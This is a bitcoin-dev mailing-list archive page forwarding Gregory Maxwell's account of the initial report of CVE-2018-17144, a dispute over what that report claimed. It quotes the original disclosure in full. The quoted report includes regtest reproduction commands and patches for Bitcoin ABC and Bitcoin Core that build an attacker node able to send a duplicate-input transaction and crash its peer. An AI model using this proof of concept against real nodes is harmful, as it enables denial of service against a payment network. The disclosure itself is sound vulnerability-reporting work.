* [bitcoin-dev] Fwd: [bitcoin-core-dev] On the initial notice of CVE-2018-17144
[not found] <CAAS2fgR9Swxv3=-u_uHrgGtfn0WhXEuOV78TFpOewCuwb3fmUA@mail.gmail.com>
@ 2018-09-22 17:54 ` Bryan Bishop
2018-09-22 19:22 ` sickpig
0 siblings, 1 reply; 3+ messages in thread
From: Bryan Bishop @ 2018-09-22 17:54 UTC (permalink / raw)
To: Bitcoin Dev, Bryan Bishop
[-- Attachment #1: Type: text/plain, Size: 11142 bytes --]
---------- Forwarded message ----------
From: Gregory Maxwell via bitcoin-core-dev <
bitcoin-core-dev@lists•linuxfoundation.org>
Date: Sat, Sep 22, 2018 at 12:12 PM
Subject: [bitcoin-core-dev] On the initial notice of CVE-2018-17144
To: bitcoin-core-dev@lists•linuxfoundation.org
For some reason I don't understand, Andrea Suisani is stating on
twitter that the the report by awemany was a report of an inflation
bug, contrary to the timeline we published. This is not the case:
the report specifically stated that inflation was not possible because
the node crashed. It also described a reproduction of the crash, but
not of inflation.
I generally understand how someone could be confused about what a
report they hadn't seen said, but I'm confused in this case because
Andrea Suisani was copied on the report to us. So I'm not sure what is
up with that, perhaps the message got lost in email. If the reporter
knew the bug permitted inflation, they still specifically reported
otherwise to us.
Since people are also expressing doubt that awemany was actually the
author of the report, I'll include it here in its entity to aid
people's validation of the claim(s). There is a better test for the
crash issue include in master branch of the Bitcoin repository, the
reporter's reproduction instructions here are only included for
completeness.
Cheers,
Date: Mon, 17 Sep 2018 14:57:46 +0000
To: Pieter Wuille <pieter.wuille@gmail•com>, deadalnix
<deadalnix@gmail•com>, Andrea Suisani <sickpig@gmail•com>, Gregory
Maxwell <gmaxwell@gmail•com>, "Wladimir J. van der Laan"
<laanwj@gmail•com>
From: beardnboobies <beardnboobies@protonmail•com>
Subject: Zero day exploit in Bitcoin ABC and Bitcoin Core
Dear Bitcoiners,
Please find attached an encrypted description of a crashing zero day
exploit for Bitcoin Core as well as Bitcoin ABC. This has not been
reproduced for Bitcoin Unlimited, though for advisory reasons, I am
sending it to one of their members that I could find a PGP key for as
well.
Please forward this to any party who might have a valid interest,
including Bitcoin miners.
Thank you very much.
===
Problem description:
The following, miner-exploitable zero day has been found in Bitcoin ABC as
well as in Bitcoin Core:
Duplicate inputs are not checked in CheckBlock,
only when they are accepted into the mempool.
This creates a problem insofar as a transaction might bypass
the mempool when it is included in a block, for example if
it is transmitted as an extra transaction along with a compact
block.
A later assertion assert(is_spent) in SpendCoins (in validation.cpp)
seems to prevent the worse outcome of monetary inflation by
the comparatively better result of crashing the node.
To reproduce (Description is for Bitcoin ABC, but applies similarly to
Bitcoin Core):
Create one instance of ABC bitcoind without the patch below
applied (A) and create on instance of ABC with the patch applied (B).
The patch removes sending of transactions and testing for double-spent
inputs for the attacker node.
Run both in regtest mode and point them to different data directories,
like so and connect them together:
A: ./bitcoind -regtest -rpcport=15000 -listen -debug -datadir=/tmp/abc.1
B: ./bitcoind -regtest -rpcport=15001 -connect=localhost -debug
-datadir=/tmp/abc.2
Now on the prepared attacker node B, create a bunch of blocks and a
transaction
that double-spends its input, like so for example:
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 generate 200
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 getnewaddress
<address>
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001 sendtoaddress
<address>
<resulting-txid>
> ./bitcoin-tx -regtest -create in=<resulting-txid>:<vout>
in=<resulting-txid>:<vout> outaddr=99.9:<address>
<resulting-txn-hex>
The double entry of the input here is not a typo. This is the desired
double-spend.
Sign the resulting transaction hex like so:
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001
signrawtransaction <txid>
<signed-txn-hex>
For Core, this step needs to be adapted to signrawtransactionwithkey.
And send the result into the small regtest test netwrok:
> ./bitcoin-cli -regtest -datadir=/tmp/abc.2 -rpcport=15001
sendrawtransaction <signed-txn-hex>
Voila, your node A should have just aborted like this:
bitcoind: validation.cpp:1083: void SpendCoins(CCoinsViewCache&, const
CTransaction&, CTxUndo&, int): Assertion `is_spent' failed.
Aborted (core dumped)
If you like this work or want to pay out a bounty for finding a zero day,
please do so in BCH to this address. Thank you very much in advance.
bitcoincash:qr5yuq3q40u7mxwqz6xvamkfj8tg45wyus7fhqzug5
The patch for ABC:
diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp
index ee909deb9..ff7942361 100644
--- a/src/consensus/tx_verify.cpp
+++ b/src/consensus/tx_verify.cpp
@@ -229,7 +229,7 @@ static bool CheckTransactionCommon(const CTransaction
&tx,
// Check for duplicate inputs - note that this check is slow so we
skip it
// in CheckBlock
- if (fCheckDuplicateInputs) {
+ if (0) {
std::set<COutPoint> vInOutPoints;
for (const auto &txin : tx.vin) {
if (!vInOutPoints.insert(txin.prevout).second) {
diff --git a/src/net_processing.cpp b/src/net_processing.cpp
index e4ecc793c..ee1cc3cda 100644
--- a/src/net_processing.cpp
+++ b/src/net_processing.cpp
@@ -1269,12 +1269,6 @@ static void ProcessGetData(const Config
&config, CNode *pfrom,
// however we MUST always provide at least
what the
// remote peer needs.
typedef std::pair<unsigned int, uint256>
PairType;
- for (PairType &pair : merkleBlock.vMatchedTxn)
{
- connman->PushMessage(
- pfrom,
- msgMaker.Make(NetMsgType::TX,
- *block.vtx[pair.first]));
- }
}
// else
// no response
@@ -1321,25 +1315,6 @@ static void ProcessGetData(const Config
&config, CNode *pfrom,
bool push = false;
auto mi = mapRelay.find(inv.hash);
int nSendFlags = 0;
- if (mi != mapRelay.end()) {
- connman->PushMessage(
- pfrom,
- msgMaker.Make(nSendFlags, NetMsgType::TX,
*mi->second));
- push = true;
- } else if (pfrom->timeLastMempoolReq) {
- auto txinfo = mempool.info(inv.hash);
- // To protect privacy, do not answer getdata using the
- // mempool when that TX couldn't have been INVed
in reply to
- // a MEMPOOL request.
- if (txinfo.tx &&
- txinfo.nTime <= pfrom->timeLastMempoolReq) {
- connman->PushMessage(pfrom,
- msgMaker.Make(nSendFlags,
- NetMsgType::TX,
- *txinfo.tx));
- push = true;
- }
- }
if (!push) {
vNotFound.push_back(inv);
}
diff --git a/src/validation.cpp b/src/validation.cpp
index a31546432..a9edbb956 100644
--- a/src/validation.cpp
+++ b/src/validation.cpp
@@ -1080,7 +1080,7 @@ void SpendCoins(CCoinsViewCache &view, const
CTransaction &tx, CTxUndo &txundo,
for (const CTxIn &txin : tx.vin) {
txundo.vprevout.emplace_back();
bool is_spent = view.SpendCoin(txin.prevout,
&txundo.vprevout.back());
- assert(is_spent);
+ //assert(is_spent);
}
}
----
The same patch for Core:
diff --git a/src/consensus/tx_verify.cpp b/src/consensus/tx_verify.cpp
index 0628ec1d4..a06f77f8b 100644
--- a/src/consensus/tx_verify.cpp
+++ b/src/consensus/tx_verify.cpp
@@ -181,7 +181,7 @@ bool CheckTransaction(const CTransaction& tx,
CValidationState &state, bool fChe
}
// Check for duplicate inputs - note that this check is slow so
we skip it in CheckBlock
- if (fCheckDuplicateInputs) {
+ if (0) {
std::set<COutPoint> vInOutPoints;
for (const auto& txin : tx.vin)
{
diff --git a/src/net_processing.cpp b/src/net_processing.cpp
index b48a3bd22..9b7fb5839 100644
--- a/src/net_processing.cpp
+++ b/src/net_processing.cpp
@@ -1219,8 +1219,6 @@ void static ProcessGetBlockData(CNode* pfrom,
const CChainParams& chainparams, c
// Thus, the protocol spec specified allows for
us to provide duplicate txn here,
// however we MUST always provide at least what
the remote peer needs
typedef std::pair<unsigned int, uint256> PairType;
- for (PairType& pair : merkleBlock.vMatchedTxn)
- connman->PushMessage(pfrom,
msgMaker.Make(SERIALIZE_TRANSACTION_NO_WITNESS, NetMsgType::TX,
*pblock->vtx[pair.first]));
}
// else
// no response
@@ -1284,18 +1282,6 @@ void static ProcessGetData(CNode* pfrom, const
CChainParams& chainparams, CConnm
bool push = false;
auto mi = mapRelay.find(inv.hash);
int nSendFlags = (inv.type == MSG_TX ?
SERIALIZE_TRANSACTION_NO_WITNESS : 0);
- if (mi != mapRelay.end()) {
- connman->PushMessage(pfrom, msgMaker.Make(nSendFlags,
NetMsgType::TX, *mi->second));
- push = true;
- } else if (pfrom->timeLastMempoolReq) {
- auto txinfo = mempool.info(inv.hash);
- // To protect privacy, do not answer getdata using
the mempool when
- // that TX couldn't have been INVed in reply to a
MEMPOOL request.
- if (txinfo.tx && txinfo.nTime <=
pfrom->timeLastMempoolReq) {
- connman->PushMessage(pfrom,
msgMaker.Make(nSendFlags, NetMsgType::TX, *txinfo.tx));
- push = true;
- }
- }
if (!push) {
vNotFound.push_back(inv);
}
diff --git a/src/validation.cpp b/src/validation.cpp
index 947192be0..66536af24 100644
--- a/src/validation.cpp
+++ b/src/validation.cpp
@@ -1315,7 +1315,7 @@ void UpdateCoins(const CTransaction& tx,
CCoinsViewCache& inputs, CTxUndo &txund
for (const CTxIn &txin : tx.vin) {
txundo.vprevout.emplace_back();
bool is_spent = inputs.SpendCoin(txin.prevout,
&txundo.vprevout.back());
- assert(is_spent);
+ //assert(is_spent);
}
}
// add outputs
_______________________________________________
bitcoin-core-dev mailing list
bitcoin-core-dev@lists•linuxfoundation.org
https://lists.linuxfoundation.org/mailman/listinfo/bitcoin-core-dev
--
- Bryan
http://heybryan.org/
1 512 203 0507
[-- Attachment #2: Type: text/html, Size: 14750 bytes --]
^ permalink raw reply [flat|nested] 3+ messages in thread